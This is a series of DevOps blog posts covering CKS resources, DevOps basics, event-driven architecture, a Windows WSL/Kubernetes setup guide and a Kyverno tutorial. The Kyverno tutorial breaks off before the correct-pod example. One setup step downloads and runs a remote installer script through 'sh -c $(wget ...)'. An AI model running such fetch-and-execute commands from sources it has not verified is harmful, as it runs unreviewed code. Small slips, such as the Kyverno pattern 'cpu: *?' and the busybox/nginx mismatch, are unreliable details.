- Editor.cilium.io for Network policy
- Container security and Kubernetes security books
- [CKS scenarios book](https://saiyampathak.gumroad.com/l/cksbook/) by Saiyam Pathak
- [Walidshaari CKS repository](https://github.com/walidshaari/Certified-Kubernetes-Security-Specialist)
- Kubernetes [documentation](https://kubernetes.io/docs/home/), [blog](https://kubernetes.io/blog/), 
   [github repo](https://github.com/kubernetes/)
- [CNCF curriculum](https://github.com/cncf/curriculum)
- [Killer.sh CKS course](https://www.udemy.com/course/certified-kubernetes-security-specialist/?referralCode=D9329DEE203E7FEBE86B&couponCode=K8S-CKS-3)
- [KodeKloud](https://kodekloud.com/courses/certified-kubernetes-security-specialist-cks/) for CKS course
- [Killercoda](https://killercoda.com/killer-shell-cks) for CKS environment
- Locally - K3s, Kind
- Cloud - managed Kubernetes like [Civo](https://www.civo.com/), [GKE](https://cloud.google.com/kubernetes-engine)

## Conclusion :
This is the ultimate guide to the Certified Kubernetes Security Specialist exam (CKS). I have covered the most important resources required to ace the CKS exam. It would be really helpful to you.

---

# A Complete walk through Of DevOps

- Canonical: https://blog.kubesimplify.com/a-complete-walk-through-of-devops
- Published: 2022-04-19
- Summary: what happen before DevOps, the model used for software development was the “WATERFALL” Model and this model is best suited when all the requirements are pre

In this blog, we are going to discuss why there is a need to evolve DevOps in the IT industry. We will be going to Dive deep into the DevOps in order to understand what actually this thing is.


### Before DevOps

Now, what happen before DevOps, the model used for software development was the “**WATERFALL**” Model and this model is best suited when all the requirements are present at the planning stage.


![Waterfall Model](/img/blog/a-complete-walk-through-of-devops/dIKQL2I3i.png)

Now after the planning phase we cannot add any features or changes. After the planning stage, we move to the Development phase -> Testing phase -> Deployment phase - > Maintenance phase. Remember during this whole cycle “**No new feature is added**”  

Also, as there was no integrated build mechanism, the development team may use an environment while the operations team might try to maintain it in a different environment. So, at the time of integration, if the operations team gets any bug, the development team may respond that the feature is working fine in their development setup and they may ask to sync the same set of setup.

Now, different development teams might be using different development setups. It will be very difficult for the integration team to sync to every dev team setup and a lot of time gets wasted unnecessarily.

**Agile Methodology**

Agile methodology is a practice that promotes continuous repetition of development and testing throughout the software development life cycle of the project. Both development and testing activities are concurrent, unlike the Waterfall model. While the Agile approach brought agility to development, it was lost on Operations that did not come up to speed with agile practices.


![Agile Methodology](/img/blog/a-complete-walk-through-of-devops/nRlY36jcW.png)

**There was a lack of collaboration between Developers and Operation Engineers and this slowed down the development process and releases.**

Software companies had begun to realize the need for better collaboration between the teams and faster delivery of software. This gave birth to the DevOps approach. DevOps enabled continuous software delivery with less complex problems to fix and faster resolution of problems.


## What is DevOps?

DevOps is made up of two things (**Development** + **Operations**).

In simple words, DevOps is a set of practices and tools that help an organization deliver better products faster by facilitating and Integration of the development and operations functions.

The aim of DevOps is to shorten the system’s development life cycle while delivering features, fixes, and updates frequently in close alignment with business objectives.
DevOps is a software development approach through which superior quality software can be developed quickly and with more reliability.


### DevOps Cycle 


![DevOps Cycle](/img/blog/a-complete-walk-through-of-devops/rJRVrysyp.png)
Let us Understand this cycle and what this picture is depicting…

Now if you look into this picture closely it’s an infinite cycle of a process having various terms from planning to monitoring. Let's have a brief about each of the terms…


### Continuous Development

This is the phase that involves ‘planning’ and ‘coding’ of the software. There are no DevOps tools required for planning, but there are a number of tools required for maintaining the code. The most popular tools used are **Git, SVN, Mercurial, CVS, and JIRA**. Also, tools like **Ant, Maven, and Gradle** can be used in this phase for building/ packaging the code into an executable file that can be forwarded to any of the next phases.

### Continuous Testing

This is the stage where the developed software is continuously tested for bugs. 
For Continuous Testing, automation testing tools like **Selenium, TestNG, and Junit** are used.
**Selenium** does the automation testing, and the reports are generated by **TestNG**. This entire testing phase can be automated with the help of a Continuous Integration tool called **Jenkins**. 

Suppose you have written a selenium code in Java to test your application. Now you can build this code using ant or maven. Once the code is built, it is tested for **User Acceptance Testing (UAT)**. This entire process can be automated using **Jenkins**.

### Continuous Integration

This is a very crucial stage of the entire DevOps cycle. In this stage, developers require to commit changes to the source code. Also building code not only involves compilation but also includes code review, unit testing, integration testing, and last but not least packaging.

The code which has supporting functionality is continuously integrated with the existing code. Since there is the continuous development of software, the updated code needs to be integrated continuously and smoothly with the systems to reflect changes to the end-users.

**Jenkins** is a very popular tool used in this phase. Whenever there is a change in the repository, Jenkins fetches the updated code and prepares a build of that in an executable file in the form of war or a jar.  After this, the build is sent to the next stage means to the production server.

### Continuous Deployment

This is the stage where the code is deployed to the production servers. **Configuration management and containerization** tools help in achieving **Continuous Development**.

**Configuration Management** is a process of releasing deployments to servers, scheduling updates on all servers, and most importantly keeping the configurations consistent across all the servers. Some popular tools that are used here are **Puppet, Chef, and Ansible**.

**Containerization** tools play an equally important role in the deployment stage. **Docker and Vagrant** are the popular tools used for this purpose. These tools help produce consistency across** Development, Test, Staging, and Production environments**. It makes your application easy to run on different computers.

### Continuous Monitoring

In this stage, you continuously monitor the performance of your application.  Here the vital information about the use of the application is recorded. For example, system errors like low memory, and servers not being reachable are resolved in this stage.  In this stage, the problem is fixed as soon as they got detected.

The popular tools that are used for this stage are **Splunk, ELK Stack, Nagios, NewRelic, and Sensu**. This stage helps in improving productivity and increases the reliability of the systems, which led to reducing the IT support costs. That’s why all the major IT companies have shifted to DevOps for building their products.


>** These DevOps stages are carried out on loop continuously till you achieve the desired product quality and that is why the DevOps cycle you saw above is in the shape of Infinite.**

Now you’ve developed a basic understanding of DevOps 
Let's discuss the best Resources to learn the DevOps best practices.

## Resources
1.	You can follow [Kubesimplify.com](https://kubesimplify.com/)
 an Initiative by Saiyam Pathak for encouraging beginners to get into the cloud world.
2.	Follow the Best DevOps Roadmap at [DevOps Roadmap](https://github.com/saiyam1814/DevOpsRoadmap2022)
3.	You can refer to [Saiyam Pathak YouTube](https://www.youtube.com/c/saiyam911)
4. Join Kubesimplify's official Discord server [Kubesimplify](https://discord.gg/zdhK5ByVuF) for the latest updates and any doubts regarding the cloud.
5. You can follow Kubesimplify on Twitter.

---

# Event-Driven Architecture Simplified: Monolith to Microservices

- Canonical: https://blog.kubesimplify.com/event-driven-architecture-simplified-monolith-to-microservices
- Published: 2022-04-18
- Summary: Monolith is an ancient word that refers to a huge single block of stone. In software engineering, a monolithic architecture refers to a complete software ap

Before we dig in on Event-Driven Architecture specifically, I'd like to talk about System Design more generally and specifically the Monolithic Software Architecture.


### What is Monolithic Architecture
Monolith is an ancient word that refers to a huge single block of stone. In software engineering, a monolithic architecture refers to a complete software application in a single package.

The different components of an application merge into a single-unit software application.

Usually, a monolithic application consists of different components like database, server-side, and client-side applications all in one piece. All the application’s parts are unified and all its functions are managed in one place.

![Example-of-Monolithic-Architecture-1.png](/img/blog/event-driven-architecture-simplified-monolith-to-microservices/bS-7RqgYZ.png)

For example, consider a monolithic Travel Booking application. It might contain a web server, a database server, a catalogue service that processes hotel images, a booking system, a payment function, and an authentication service.   

As you can imagine, given their broad scope, monolithic applications tend to have huge codebases. Making a small change in a single function requires compiling and testing the entire platform, which goes against the agile approach and isn't efficient anymore.


### Introduction to Microservices   
![main.png](/img/blog/event-driven-architecture-simplified-monolith-to-microservices/zVNm0-_4w.png)
In contrast to the monolithic architecture, a microservice approach addresses these challenges by breaking the application down into smaller components or services.   
 
Each component is responsible for a single function (hence “microservice”) and communicates with other components over APIs and messaging protocols.  
 
Each development team is responsible for an individual component, and because components communicate with each other via APIs, developers don’t need to understand the complexity of other components but only the component they are working on.   

Teams can develop and deploy changes independently, and new developers have a much gentler learning curve, enabling them to be productive much sooner.



### What are Events    
![Screenshot 2022-04-09 064259.png](/img/blog/event-driven-architecture-simplified-monolith-to-microservices/qWxHhDdnn.png)
An event indicates a state change; that something has happened. This ‘something’ could be raising an issue on Github, a customer submitting a review for a received product or a customer adding a product to the cart and the like.  

Events are used to signal to interested consumers that a state change occurred. An event is a record of something that happened, so it can't be changed.  



### What is Event-Driven Architecture    
An event-driven architecture is a software design pattern in which microservices react to changes that happen, called “events”.  

Events can either carry a state (such as the price of an item or a reported issue) or events can be identifiers (a notification that an order was received or shipped, for example).   

The events trigger microservices that work together to achieve a common goal but do not have to know anything about each other except for the event details.
Although operating together, each microservice can apply different business logic and emit its own output events.   

For the event to trigger the correct response, an event-driven system follows three key components: event producers, event brokers, and event consumers. 
![What-is-an-event-broker-nordic-apis-event-mediator.png](/img/blog/event-driven-architecture-simplified-monolith-to-microservices/DEG0xbuJ6.png)   

**For Example**:   
You’re on the ground floor of a building but need to be on the 20th floor. You press the button that calls the elevator, which then travels down to meet you, opens its doors, welcomes you in, and takes you to the floor of your choice, where it opens up and lets you out.   

Pressing the button produced the event. The elevator's operational system(event broker), processed the request by sending it to the elevator car itself(event consumer), which then processed the trip from the ground floor to the 20th. Nothing at all happened until the event of pushing the button happened.  

**To have a more clear understanding let's consider an eCommerce Application**:

![Screenshot 2022-04-15 194717.png](/img/blog/event-driven-architecture-simplified-monolith-to-microservices/O1xgFOHmH.png)

**Event producer**  
A customer places an order on an eCommerce site creating a “CheckOut” event that is sent to an event broker.

**Event broker**  
Makes the event available to event consumers that subscribe to “Check Out” type events.

**Event consumers**  
Services such as “Stock” and “Communication.”  
The “Stock” service checks to see if the item is in stock. If the item is in stock, an event is created and consumed by the “Communication” service, which sends a message event letting the customer know that the order is being processed and another message will be sent when it is shipped.  

If the item is out of stock, the “Communication” service lets the consumer know that they can wait for the item to be in stock or cancel the order.  


### Event-Driven Architecture models     
Event-Driven Architecture is mainly formed upon two architecture models. 
1. Pub-Sub Model   
2. Event Streaming model.  


#### Pub-Sub Model  
![Screenshot 2022-04-10 155832.png](/img/blog/event-driven-architecture-simplified-monolith-to-microservices/BZYop6KS6.png) 
Pub-Sub, also known as Publish-Subscribe is a messaging pattern that allows different services to interact with each other asynchronously.   

In this pattern, messages are published from a producer to subscribers(consumers). The publisher publishes events to the broker. Subscribers can sign up for the type of events they are interested in.   

You can imagine this as a Youtube subscription; The content creator(publisher) publishes a specific type of video content(event) on the youtube platform(Broker). The viewer(Subscriber) can subscribe to the type of content they are interested in to receive a notification every time the video(event) is uploaded(published) on youtube(broker).
 

Let's Understand this through a real-life example: 

- The user places an order for a pizza via the **User Profile Service** (a mobile app UI). The service captures such data as the user’s name, current location, contact info, etc., and publishes the *pizza order event*.
- The **Food Delivery Service** (like Uber Eats, Zomato) subscribes to the *pizza order event* so it reacts to it by publishing the *take pizza order event*.
- The **Restaurant Partner Service**, which is subscribed to the *take pizza order event*, fulfils the order and publishes the *pizza order ready event*.
- The **Food Delivery Service** sends the allocate nearest deliveryman and schedules *delivery time events*, respectively. It can now monitor the location of the order and provide ETA (Estimated Time of Arrival) notifications for the user.  
  
  
  
#### Event-Streaming Model    

![Screenshot 2022-04-10 171311.png](/img/blog/event-driven-architecture-simplified-monolith-to-microservices/6NBLFXDws.png)

**What is event-stream**  
An event stream is a constant flow of events. Streams are continuously generated by users interacting with applications, IoT sensors that periodically send data, security-related events, etc.  

In the Event streaming model, events are registered in the broker. Unlike the Pub-Sub model, consumers don't subscribe to an event stream but they can read any event and trigger an action accordingly. 

With event stream processing you connect all event producers to consumers. You can then begin to correlate events and over time you see patterns emerge that describe events in a specific manner that could be used to make predictions and perform tasks and then you apply real-time business logic and rules or machine learning to trigger action.   

Event stream processing can make sense of vast amounts of data arriving into your business to help filter out what’s important so you can automate processes and respond to important events in real-time.

Now, visualize Youtube without the subscription model; You receive every type of video content(event) but you only watch a certain type of content that's beneficial to you and overtime the youtube platform(broker) understands your content pattern and only shows you the desired content through real-time algorithmic analysis and ML Service. (Kafka Streams could be used to perform such tasks)  

- **Use Case - IoT**  
In the context of [automating manufacturing processes](https://docs.microsoft.com/en-us/azure/stream-analytics/stream-analytics-get-started-with-azure-stream-analytics-to-process-data-from-iot-devices), companies can integrate an IoT solution by adding various sensors that transmit streams of data in event format in real-time.   

   In order to make use of the data and analyze it to identify patterns and quickly take 
   action on them, businesses would need to employ an event stream processing 
   methodology.   
   The event streaming platform would take this stream of events and run real-time 
   analytics.  

   For example, we may be interested in monitoring the average temperature of a 
   warehouse over a 30 second period. Afterwards, we want the temperature to be 
   displayed only if the temperature exceeds 45 °C. Whenever this condition is met, the 
   alert can be used by other applications to react in real-time and adjust operations to 
   avoid the risk of overheating.
 


### Benefits of Event-Driven Architecture over Traditional Architecture   
  
- **Responsiveness** ⏱️  
Since everything happens independently and at a swift rate, event-driven architecture provides the fastest possible response time.  

- **Scalability** 📈  
Since every component is independent of each other, you can add service instances to scale. Messages can be consumed and transformed extremely fast, which is advantageous for processes where millisecond decision making is necessary.  

- **Agility** 🚀  
If you want to add another service, you can just have it subscribe to an event and have it generate new events of its own. The existing services don’t know or care that this has happened, so there’s no impact on them.  

- **Versatility** 📨  
By using an event mesh you can deploy services wherever you want; cloud, on-premises, in a different country, etc. Since the event mesh learns where subscribers are, you can move services around without the other services knowing.  

- **Economical** 💵   
Event-Driven Architectures are more cost-effective. With any cloud provider - AWS, GCP, and Azure we would only pay for the resources when we use them and for the duration we use them.   

   With Event-Driven Architecture, the resources are only triggered when the event 
   occurs making it an “**on-demand**” execution.   

   But with traditional architecture, we would have the resources running but in an idle 
   state and of course, anything we run irrespective of the state it is in, we would have 
   to pay for it.  
  
  
  

ThankYou for Reading!!😄  
 
I hope this blog helped you understand what is Event-Driven Architecture.

Also, make sure to join [Kubesimplify](https://kubesimplify.com/) for more such amazing blogs!

---

# Starting your DevOps Journey as a Windows User

- Canonical: https://blog.kubesimplify.com/starting-your-devops-journey-as-a-windows-user
- Published: 2022-04-15
- Summary: Install WSL, DevOps in windows, installing Docker in windows, Minikube and Kubernetes for windows

# Why DevOps?

["DevOps"](https://about.gitlab.com/topics/devops/) has become a new buzzword in the tech industry. With booming career opportunities and good pay even for freshers, this is the right time for you to get started with your DevOps journey. Now the question that stands is how a Windows user can get started?

# Other Options
As a Windows user, you can either dual boot your system with your favourite Linux distro or use WSL(more about this below) provided by windows. **In this blog we will be covering WSL.**

# What is WSL?

[Windows Subsystem for Linux (WSL)](https://docs.microsoft.com/en-us/windows/wsl/about) lets developers run a GNU/Linux environment -- including most command-line tools, utilities, and applications -- directly on Windows, unmodified, without the overhead of a traditional virtual machine or dual-boot setup.

# Installing WSL

<h3> Prerequisites </h3>
You must be running Windows 10 version 2004 and higher (Build 19041 and higher) or Windows 11. If you're running an older version refer to [this document by windows](https://docs.microsoft.com/en-us/windows/wsl/install-manual)
<h3> Install WSL </h3>

- Run this command in an **administrator** Powershell or Command Prompt
```
wsl --install
``` 
This command will enable the required optional components, download the latest Linux kernel, set WSL 2 as your default, and install a Linux distribution for you (Ubuntu by default)
- Once Ubuntu is downloaded you will be asked to reboot your system for the changes to take place.
![Screenshot (41).png](/img/blog/starting-your-devops-journey-as-a-windows-user/HTJDDnbrI.png)
- To change the distribution installed, enter: `wsl --install -d <Distribution Name> `. Replace `<Distribution Name>` with the name of the distribution you would like to install.
- To list out the available Linux distributions available for download through the online store, enter: `wsl --list --online` or `wsl -l -o`.

- To install additional Linux distributions after the initial install, you may also use the command: `wsl --install -d <Distribution Name>`.

- After this, you will be asked to set a username and password for your system.

![Edited ss.png](/img/blog/starting-your-devops-journey-as-a-windows-user/TQOIQ2Vhy.png)

- To verify if Ubuntu(or any other Distro) is installed, you can simply search for it through the windows search bar and check if it's present.
![Screenshot (38).png](/img/blog/starting-your-devops-journey-as-a-windows-user/QGx7MSAGE.png)
- You can even verify your shell by running this command 

```
echo $SHELL
``` 
![Screenshot from 2022-04-11 22-00-19.png](/img/blog/starting-your-devops-journey-as-a-windows-user/V7kbphREF.png)

# Git
If you have been in the tech space for a while you might have heard the word **GitHub**. If not, no worries you can check out [this blog](https://kubesimplify.com/git-and-github-a-beginners-guide) by [Nitin Gouda](https://hashnode.com/@shaggyyyy). This will give you a hands-on experience with the Git commands.

<h3> Installing Git</h3>

- Install Git from [here](https://git-scm.com/downloads)

- To verify it's installation run 

```
git --version

``` 
![Screenshot from 2022-04-11 19-15-43.png](/img/blog/starting-your-devops-journey-as-a-windows-user/1MKV62ZNQ.png)
- Download the latest stable version of Git by using this command 

```
sudo apt-get install git
``` 
<h3> Setting Up the Git config file </h3>

- Open a command line and set your name with this command(Replace 'Your  Name' with your preferred username) 

```
git config --global user.name "Your Name"
``` 

- Set your email using this command(replace "youremail@domain.com" with the email you prefer) 

```
git config --global user.email "youremail@domain.com"
``` 
# Installing Oh-My-Zsh(Optional)
[Oh-my-zsh](https://ohmyz.sh/) is used to help efficiently manage and configure the ZSH shell. It comes packed with functions, themes, and plugins to improve the default ZSH shell. Although there are many different frameworks but Oh-My-Zsh is very efficient and easy to configure.

- To install zsh, run 
```
sudo apt-get update && sudo apt-get install -y zsh
``` 
this will update the latest package info and install zsh.

- After it is installed, you should be able to see it in `/etc/shells`. 

- To install the OhMyZsh framework, run this command 
```
sh -c "$(wget -O- https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"
``` 
- Press `Y`, to set zsh as your default shell.

![Screenshot (45).png](/img/blog/starting-your-devops-journey-as-a-windows-user/VjKvitn6r.png)

- As it gets successfully installed, the prompt will start looking different !!

![Screenshot (46).png](/img/blog/starting-your-devops-journey-as-a-windows-user/7ssmaoW7B.png)
- Oh-My-Zsh offers a ton of useful plugins, themes that can be installed from [here](https://github.com/ohmyzsh/ohmyzsh) (By default, the robbyrussell theme is applied)

# Docker 🐋
Docker Desktop is an easy-to-install application for your Mac or Windows environment that enables you to build and share containerized applications and microservices.
<h3> Installing Docker </h3>

- Firstly, you have to install the [Linux kernel update package](https://docs.microsoft.com/en-us/windows/wsl/install-manual#step-4---download-the-linux-kernel-update-package).

- Install the latest version of Docker Desktop from [here](https://desktop.docker.com/win/main/amd64/Docker%20Desktop%20Installer.exe)

- If your device supports WSL2, Docker Desktop will prompt you to enable WSL2 during installation.

- However, go to **Settings > General** and select the **Use the WSL 2 based engine** option.  This option will be enabled by default if your device supports WSL2.
![Screenshot (31).png](/img/blog/starting-your-devops-journey-as-a-windows-user/HrNe0r7TW.png) 

- Now, click **Apply & Restart**

- Refer to the [official WSL2 backend doc by Docker](https://docs.docker.com/desktop/windows/wsl/) for more help.

- Now run this command 
```
docker run hello-world
``` 
If you received this as your output :
![Screenshot (40).png](/img/blog/starting-your-devops-journey-as-a-windows-user/3SU_2fZ2V.png)

Congrats!! You just ran your first docker image!!

- Now, Enable Kubernetes through the Docker settings

![Screenshot (49).png](/img/blog/starting-your-devops-journey-as-a-windows-user/iiIUebH_2.png)

# Kubernetes
[Kubernetes](https://kubernetes.io/docs/home/) is an open-source container orchestration engine for automating deployment, scaling, and management of containerized applications. The open-source project is hosted by the Cloud Native Computing Foundation([CNCF](https://www.cncf.io/))

Few tools/services that are necessary for Kubernetes are :

- [**Kubectl**](https://kubernetes.io/docs/tasks/tools/#kubectl) : The Kubernetes command-line tool
- [**Minikube**](https://minikube.sigs.k8s.io/docs/) : quickly sets up a local Kubernetes cluster on macOS, Linux, and Windows.
- **Cloud Provider** : a third-party company offering a cloud-based platform, infrastructure, application or storage services. Ex~ Amazon Web Sevices(AWS), Civo, Microsoft Azure.

<h3> Firstly we will be **Installing Minikube** </h3>

I. Run this command to know your Linux architecture(64-bit or 32-bit) 

```
 uname -m
``` 
  If your output was `x86_64` i.e 64-bit, you're good to go with the below steps; on the other hand, if 
  your Linux architecture is ARM64 or ARM7, etc, refer to the [official doc](https://minikube.sigs.k8s.io/docs/start/) by minikube.


II. This command will install the latest minikube stable release on **x86-64** Linux using binary download :

```
curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
sudo install minikube-linux-amd64 /usr/local/bin/minikube

``` 

  If you get an error message saying `curl command not found`, no worries, just run this command and 
  after that repeat the above step :

```
sudo apt update
sudo apt install curl
``` 

III. Now start your cluster from a terminal with administrator access : 

```
minikube start

``` 
![PS minikube start.png](/img/blog/starting-your-devops-journey-as-a-windows-user/VjqBhu0N5.png)
                    
If minikube fails to start check this [drivers page](https://minikube.sigs.k8s.io/docs/drivers/) for setting up a compatible container or virtual-machine.

<h3> [Installing **kubectl : **](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/) </h3>

- Download the latest release by running this command : 

```
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"

``` 

- Validating the binary (Optional step) :
 
I. Download the kubectl checksum file with this command : 

```
curl -LO "https://dl.k8s.io/$(curl -L -s 
https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl.sha256"

```  
II. Now we will validate the kubectl binary against the downloaded checksum file with this command : 

```
echo "$(cat kubectl.sha256)  kubectl" | sha256sum --check
``` 
III. If valid, the output will be : 

`kubectl: OK
`
![Screenshot from 2022-04-10 20-29-59.png](/img/blog/starting-your-devops-journey-as-a-windows-user/z0xpB4X0g.png)
 
If the check fails the output will look similar to 

`kubectl-convert: FAILED`

`sha256sum: WARNING: 1 computed checksum did NOT match`

as `sha256` exits with nonzero status 

> NOTE : To resolve this error download the same version of the binary and the checksum from [here](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/)

IV. Install Kubectl

```
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl

``` 
V. To ensure that the version installed is up-to-date : 

```
kubectl version --client
``` 
or use this command for a detailed view([YAML](https://en.wikipedia.org/wiki/YAML) form) : 

```
kubectl version --client --output=yaml
``` 

![Screenshot from 2022-04-10 20-30-03.png](/img/blog/starting-your-devops-journey-as-a-windows-user/n5oeJZgcV.png)

<h3>Install using any package management(Snap)</h3>
Ubuntu usually supports Snap package manager so you can install it using this command
```
snap install kubectl --classic
kubectl version --client
``` 
<h3> Verifying Kubectl configuration </h3>

In order for kubectl to find and access a Kubernetes cluster, it needs a [kubeconfig file](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/), which is created automatically when you create a cluster using [kube-up.sh](https://github.com/kubernetes/kubernetes/blob/master/cluster/kube-up.sh) or successfully deploy a Minikube cluster. By default, kubectl configuration is located at ~/.kube/config.

Now let's check that kubectl is properly configured by getting the cluster state using this command : 
> NOTE : Remember to start your minikube cluster (`minikube start`)before running this command.

```
kubectl cluster-info

``` 
a. If you see a URL response like this :

![Screenshot from 2022-04-10 20-45-2412121.png](/img/blog/starting-your-devops-journey-as-a-windows-user/C_gzwHySL.png)
this means that kubectl is configured correctly to access your cluster.

b. If you get an output like this :

`The connection to the server <server-name:port> was refused - did you specify the right host or port?`

Try restarting your minikube cluster using `minikube delete` and then again `minikube start`.

For more issues refer [this](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/)

# Lens
[Lens](https://docs.k8slens.dev/) gives you a powerful interface and toolkit for managing, visualizing, and interacting with multiple Kubernetes clusters, while always remaining in proper context.

Installing Lens is pretty straightforward, you just have to download the [setup file](https://k8slens.dev/) and install Lens

# What's Next
- Join amazing communities and start learning your favourites technologies in public.
- Now that you have installed these, you can proceed with your DevOps journey by joining [KubeSimplify's](https://kubesimplify.com/) [discord](https://kubesimplify.com/discord) server where you will find like-minded people who are also learning Devops and are ready to guide you if you get stuck!!

# Learning Resources

- [DevOps Roadmap](https://www.youtube.com/watch?v=7l_n97Mt0ko) by [Saiyam Pathak](https://hashnode.com/@Saiyampathak)

- [DevOps Bootcamp](https://www.youtube.com/playlist?list=PL9gnSGHSqcnoqBXdMwUTRod4Gi3eac2Ak) by [Kunal Kushwaha](https://hashnode.com/@kunalk)


**Thanks for stopping by!! Lots of luck✌️**

---

# Getting Started With Kyverno

- Canonical: https://blog.kubesimplify.com/getting-started-with-kyverno
- Published: 2022-04-14
- Summary: Kyverno in Greek means to govern and kyverno is a policy management tool for kubernetes.Other alternatives of kyverno is OPA which is a general purpose poli

### What is kyverno?
- Kyverno in Greek means to govern and kyverno is a policy management tool for kubernetes. 
- Other alternatives of kyverno is OPA which is a general purpose policy management tool and it's not Kubernetes native as it was built prior to kubernetes. 
- OPA uses rego to enforce policies and kyverno uses declarative syntax that k8s uses. 

### Why bother about policies at all?
- If you're running your k8s cluster locally, say minikube, rancher-desktop or kind then we don't need to manage any policies. However things change when it comes to production. You want to give your cluster access to other developers and have some organizational standards in place. Now to enforce that we need policies.  Another reason for using policies can also be industry specific compliance. 

### What is a policy?
- Policy in many ways is like a digital contract between two different entities. It can be a contract between two different individuals, teams or between developers and operations people.
- kyverno is like the centralized thing that takes care of the complete cluster of who can have access to what resources and who can do what within a cluster? 

### How Kyverno Works?

- This is how resource creation takes place in Kubernetes. 


![admission-controller-phases.png](/img/blog/getting-started-with-kyverno/bNZM37yMA.png)

- Kyverno works like an admission controller for Kubernetes. Kubernetes admission controllers are plugins that govern and enforce how the cluster is used. 
- The admission control process has two phases
  - Mutating Phase
  - Validating Phase


![kyverno-architecture.png](/img/blog/getting-started-with-kyverno/thpQbqkKD.png)

- When you install kyverno in your cluster you can see that webhook are installed on your cluster.



![Screenshot from 2022-04-12 17-26-39.png](/img/blog/getting-started-with-kyverno/sdbXZRNnd.png)

- Mutating webhooks modify the request and pass it further to the k8s api server. 
- Validating webhooks either allow or reject the request. 

### Types of policies
As of writing this blog kyverno has 4 types of policies. 


![Screenshot from 2022-04-12 16-09-04.png](/img/blog/getting-started-with-kyverno/03JNcqxW4.png)

- Generate - This will generate the policy
- Mutate - This will mutate the resource manifest corresponding to a policy 
- Validate - This will validate the resource against a policy and returns a simple Yes or No to the apiServer. 
- VerifyImages - This is a new addition to the kyverno project and with the help of this we validate/block the api request on the basis of image. e.g. We can sign our images using the cosign project to ensure that supply chain security is maintained. 

### More about kyverno 

- Learning curve of kyverno is much easier as compared to OPA. 
- Kyverno as of now has 138 policies written by community members which you can use. 
- Kyverno makes it super easy to write even complex policies. 
- Kyverno supports wildcards(globbing) and set operators. 

### Kyverno Policy Structure


![Kyverno-Policy-Structure.png](/img/blog/getting-started-with-kyverno/jAS2azMhH.png)

- The overview of a Kyverno policy looks like this. If you are familiar with github actions then you can relate things. One policy is composed of multiple rules. Under each rule we can filter out the resources we want to target with the help of match and exclude. 
- Match targets to a specific resource whereas exclude targets all the resources excluding something depending on the  conditions provided.
- We then write about actions that a policy needs to perform. It can be validating, generating and mutating the incoming request or it can verify the images whether they are signed or not? There are multiple permutations and combinations you can do here.

### Install Kyverno
- We have covered some theories and now let's get our hands dirty with the following example. 
- Download kyverno in your kubernetes cluster. 
```
helm repo add kyverno https://kyverno.github.io/kyverno/
helm repo update
helm install kyverno kyverno/kyverno --namespace kyverno --create-namespace
```



### Policy Example

- Now let's take an example and see how a kyverno policy looks like. 
- The following policy will block the creation of pods who don't have request and limits set. 

```yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: require-limits-and-requests
spec:
  validationFailureAction: enforce
  rules:
    - name: validate-resources
      match: 
        resources:
          kinds:
            - Pod
      validate:
        message: "You need to set request and limits in the manifest"
        pattern:
          spec:
            containers:
            - resources:
                requests:
                  memory: "?*"
                  cpu: "*?"
                limits:
                  memory: "?*"
                  cpu: "?*"
```

- Let's try to understand the policy step by step. Let's first understand about the apiVersion, kind and metadata.
- apiVersion is the endpoint where the request is being sent. 
- kind is the type of resource we are willing to create. It can be a `ClusterPolicy` which is applicable to the complete cluster or it can be a `Policy` which is namespace scoped. 
- metadata - In this section we provide the name of our policy and if we want then we also provide the labels and annotations w.r.t our policy. 

--- 

- Now comes the most important and interesting part which is the spec section.
- Let's try to understand our spec section is looking something like this 

```yaml
spec:
  background: false
  validationFailureAction: enforce
  rules:
    - name: validate-resources
      match: 
        resources:
          kinds:
            - Pod
      validate:
        message: "You need to set request and limits in the manifest"
        pattern:
          spec:
            containers:
            - resources:
                requests:
                  memory: "?*" # this means you need to pass some values here
                  cpu: "*?"  
                limits:
                  memory: "?*"
                  cpu: "?*" # It means that this field is mandatory
```

- The `background: false` simply saying not to scan your existing kubernetes resources. According to kyverno documentation one of the use cases of this is that you can first check this before setting the `validationActionFailure` to enforce. This will act like a litmus test on how your cluster is behaving when you're enforcing a particular policy to the cluster with enforce enabled. 

- `validationActionFailure` defines what to do when the resource fails against the policy you've applied in the cluster. There are two modes 
  - Enforce - Blocks the request if any violation is there.
  - Audit - Allow resource creation but audit that to the policy reporter. 
- Now comes `spec.rules`. In the example policy above we have only defined a single rule and let's go through that. 
- In the match section we have defined that our policy is valid only for pods. Kyverno considers every other resource as well which works on top of pods. 
- Validate means that this policy will not make any edits into the incoming request if something is violated. It simply returns Yes or No based on the policy. 
- The message under the validate you will see in the terminal if the resource is against the given policy in the enforce mode. 
- Then we define the pattern which checks what should be present and what not? Like in this case we have mentioned that the incoming requests must have requests and limits set. 
- We have used wildcards in the policy manifest which means 
  - `*` - matches zero or more alphanumeric characters
  - `?` - matches a single alphanumeric character
  - `?*` - It means that the field is mandatory and you need to pass some values here. 
- Now what kyverno will do is that whenever any pod request comes then it will check if `pod.spec.containers.resources.requests.memory` is present or not and if it's empty/non-compatible then it will not allow the resource creation. 





### Hands On Kyverno 

- Now that we have understood the policy, let's try to implement this. We will first create a `wrong_pod` which does not have requests and limits set. Create a YAML manifest `wrongpod.yaml` and run the command `kubectl apply -f wrongpod.yaml`
- I will encourage you to go ahead and try this in a cluster.
- Here is the manifest of the wrong pod. We will use a simple busybox container in our example. 

```yaml
apiVersion: v1
kind: Pod
metadata:
  name: nginx
spec:
  containers:
  - name: nginx
    image: nginx:alpine
    ports:
    - containerPort: 80
```

- You will notice that the pod is not getting created and it's throwing the error. You will also notice the message that it is showing on the terminal. This is the same message that we had written in the policy manifest. 


![Screenshot from 2022-04-13 18-52-11.png](/img/blog/getting-started-with-kyverno/24AyvwKOW.png)

- Now we will create a manifest with requests and limits set and we will try to create the pod now. 
- Here is the manifest of the `correct_pod`. This pod has requests and limits set. 
